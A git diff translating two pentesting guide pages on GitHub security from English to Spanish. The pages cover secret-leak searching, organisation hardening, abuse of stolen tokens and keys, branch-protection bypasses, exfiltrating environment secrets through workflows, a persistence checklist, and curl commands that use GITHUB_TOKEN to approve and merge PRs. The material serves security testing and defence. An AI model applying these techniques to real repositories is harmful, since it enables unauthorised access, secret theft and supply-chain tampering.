+- **Privado** significa que **solo** las personas de la **organización** podrán acceder a ellos.
+- **Interno** significa que **solo** las personas de la **empresa** (una empresa puede tener varias organizaciones) podrán acceder a él.
+- **Público** significa que **todo internet** podrá acceder a él.
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+En caso de que conozcas el **usuario, repositorio u organización que deseas atacar**, puedes usar **github dorks** para encontrar información sensible o buscar **filtraciones de información sensible** **en cada repositorio**.
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github permite **buscar algo especificando como alcance un usuario, un repositorio o una organización**. Por lo tanto, con una lista de cadenas que van a aparecer cerca de información sensible, puedes fácilmente **buscar información sensible potencial en tu objetivo**.
-Tools (each tool contains its list of dorks):
+Herramientas (cada herramienta contiene su lista de dorks):
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
-### Github Leaks
+### Filtraciones de Github
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que **descargarán cada repositorio y buscarán información sensible en ellos** (incluso revisando cierta profundidad de commits).
-Tools (each tool contains its list of regexes):
+Herramientas (cada herramienta contiene su lista de regex):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, no olvides que puede haber **otras ramas con otros commits** que contengan secretos.
-### External Forks
+### Forks Externos
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+Es posible **comprometer repositorios abusando de solicitudes de extracción**. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. [**Más información sobre esto a continuación**](./#execution-from-a-external-fork).
-### Github Leaks in deleted/internal forks
+### Filtraciones de Github en forks eliminados/internos
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Verifícalo aquí:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
-## Organization Hardening
+## Fortalecimiento de la Organización
-### Member Privileges
+### Privilegios de Miembros
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembros** de la organización. Estos se pueden controlar desde la página `https://github.com/organizations//settings/member_privileges` o desde la [**API de Organizaciones**](https://docs.github.com/en/rest/orgs/orgs).
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**.
+- **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización.
+- **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas.
+- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
+- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
+- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que la gente haga cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
+- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
+- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados.
+- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
+- **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado.
+- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
+- **Se pueden configurar más cosas** en esta página, pero las anteriores son las más relacionadas con la seguridad.
-### Actions Settings
+### Configuración de Acciones
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+Varios ajustes relacionados con la seguridad se pueden configurar para acciones desde la página `https://github.com/organizations//settings/actions`.
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente.
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Políticas de acciones de Github**: Permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten.
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos**: Se recomienda **requerir aprobación para todos** los colaboradores externos.
+- _No pude encontrar una API con esta información, comparte si lo haces_
+- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **altamente desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente.
+- _No pude encontrar una API con esta información, comparte si lo haces_
+- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura de repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución.
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
-### Integrations
+### Integraciones
-_Let me know if you know the API endpoint to access this info!_
+_Házmelo saber si conoces el endpoint de la API para acceder a esta información!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Política de acceso a aplicaciones de terceros**: Se recomienda restringir el acceso a cada aplicación y permitir solo las necesarias (después de revisarlas).
+- **Aplicaciones de GitHub instaladas**: Se recomienda permitir solo las necesarias (después de revisarlas).
-## Recon & Attacks abusing credentials
+## Reconocimiento y Ataques abusando de credenciales
-For this scenario we are going to suppose that you have obtained some access to a github account.
+Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github.
-### With User Credentials
+### Con Credenciales de Usuario
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+Si de alguna manera ya tienes credenciales para un usuario dentro de una organización, puedes **simplemente iniciar sesión** y verificar qué **roles de empresa y organización tienes**, si eres un miembro normal, verifica qué **permisos tienen los miembros normales**, en qué **grupos** estás, qué **permisos tienes** sobre qué **repositorios** y **cómo están protegidos los repositorios**.
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta información si también puedes **pasar esa verificación**.
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+Consulta la sección a continuación sobre [**elusión de protecciones de ramas**](./#branch-protection-bypass) en caso de que sea útil.
-### With User SSH Key
+### Con Clave SSH de Usuario
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
+Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de github para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repositorios y el usuario al que tienes acceso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Si el usuario ha configurado su nombre de usuario como su nombre de usuario de github, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+Las **claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Claves GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto.
+Verifica localmente si el usuario actual tiene alguna clave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Con Token de Usuario
-### With User Token
+Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-github-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git a través de HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios adjuntos a él, podrías ser capaz de realizar diferentes acciones.
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+### Con Aplicación Oauth
-### With Oauth Application
+Para una introducción sobre [**Aplicaciones Oauth de Github consulta la información básica**](basic-github-information.md#oauth-applications).
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Estos son los [alcances que una aplicación Oauth puede solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Siempre se debe verificar los alcances solicitados antes de aceptarlos.
-These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
+Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+### Con Aplicación de Github
-### With Github Application
+Para una introducción sobre [**Aplicaciones de Github consulta la información básica**](basic-github-information.md#github-applications).
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan probablemente como parte de una campaña de phishing.
-An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Además, como se explicó en la información básica, **las organizaciones pueden dar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
-Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
+## Compromiso y Abuso de Github Action
-## Compromise & Abuse Github Action
-
-There are several techniques to compromise and abuse a Github Action, check them here:
+Hay varias técnicas para comprometer y abusar de un Github Action, consúltalas aquí:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Branch Protection Bypass
+## Bypass de Protección de Ramas
-- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
-- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
-- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
-- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
-- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
-- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
-- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
-- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
+- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PRs desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías ser capaz de **aprobar tu PR** y obtener 1 aprobación de esta manera.
+- _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PRs, pero si puedes, puedes abusar de ello para aceptar tus PRs._
+- **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida.
+- **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que un **Github Action cree tu PR y luego lo apruebes tú mismo**.
+- Cuando un **archivo CODEOWNER está mal configurado**, Github no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, **la protección de Propietarios de Código no se aplica.**
+- **Permitir que actores especificados eviten los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
+- **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama.
+- **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo.
+- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones.
+- **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`).
+- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear un **github action que se activa cuando se envía código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer push de código a la rama **ejecutará el github action**.
-## Bypass Environments Protections
+## Bypass de Protecciones de Entornos
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+Para una introducción sobre [**Entorno de Github consulta la información básica**](basic-github-information.md#git-environments).
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando un nuevo github action (o modificando uno).
+Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar un github action personalizado porque puedes crear una rama y usar el trigger de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que el github action será activado**.
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+Nota que **después de la creación** de la rama, la **protección de la rama se aplicará a la nueva rama** y no podrás modificarla, pero para ese momento ya habrás extraído los secretos.
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## Persistencia
-## Persistence
+- Generar **token de usuario**
+- Robar **tokens de github** de **secretos**
+- **Eliminación** de **resultados** y **ramas** de flujo de trabajo
+- Dar **más permisos a toda la organización**
+- Crear **webhooks** para exfiltrar información
+- Invitar a **colaboradores externos**
+- **Eliminar** **webhooks** utilizados por el **SIEM**
+- Crear/modificar **Github Action** con una **puerta trasera**
+- Encontrar **Github Action vulnerable a inyección de comandos** mediante la modificación del valor de **secreto**
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### Commits de impostor - Puerta trasera a través de commits de repositorio
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un **commit** id dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**.
+Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+Para más información, consulta [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..55abfd232 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,389 +4,371 @@
## Basic Information
-In this page you will find:
+En esta página encontrarás:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- Un **resumen de todos los impactos** de un atacante que logra acceder a una Github Action
+- Diferentes formas de **obtener acceso a una acción**:
+- Tener **permisos** para crear la acción
+- Abusar de los **triggers** relacionados con **pull requests**
+- Abusar de **otras técnicas de acceso externo**
+- **Pivotar** desde un repositorio ya comprometido
+- Finalmente, una sección sobre **técnicas de post-explotación para abusar de una acción desde adentro** (causar los impactos mencionados)
## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Para una introducción sobre [**Github Actions consulta la información básica**](../basic-github-information.md#github-actions).
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías ser capaz de:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **Robar secretos** montados en la pipeline y **abusar de los privilegios de la pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP.
+- **Comprometer despliegues** y otros **artefactos**.
+- Si la pipeline despliega o almacena activos, podrías alterar el producto final, habilitando un ataque a la cadena de suministro.
+- **Ejecutar código en trabajadores personalizados** para abusar del poder computacional y pivotar a otros sistemas.
+- **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`.
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+Este "**secreto**" (proveniente de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el administrador habilita esta opción:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Este token es el mismo que una **Aplicación de Github utilizará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github debería liberar un [**flujo**](https://github.com/github/roadmap/issues/74) que **permita el acceso entre repositorios** dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el `GITHUB_TOKEN`.
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Ten en cuenta que el token **expira después de que el trabajo ha finalizado**.\
+Estos tokens lucen así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+Algunas cosas interesantes que puedes hacer con este token:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="Aprobar PR" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="Crear PR" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
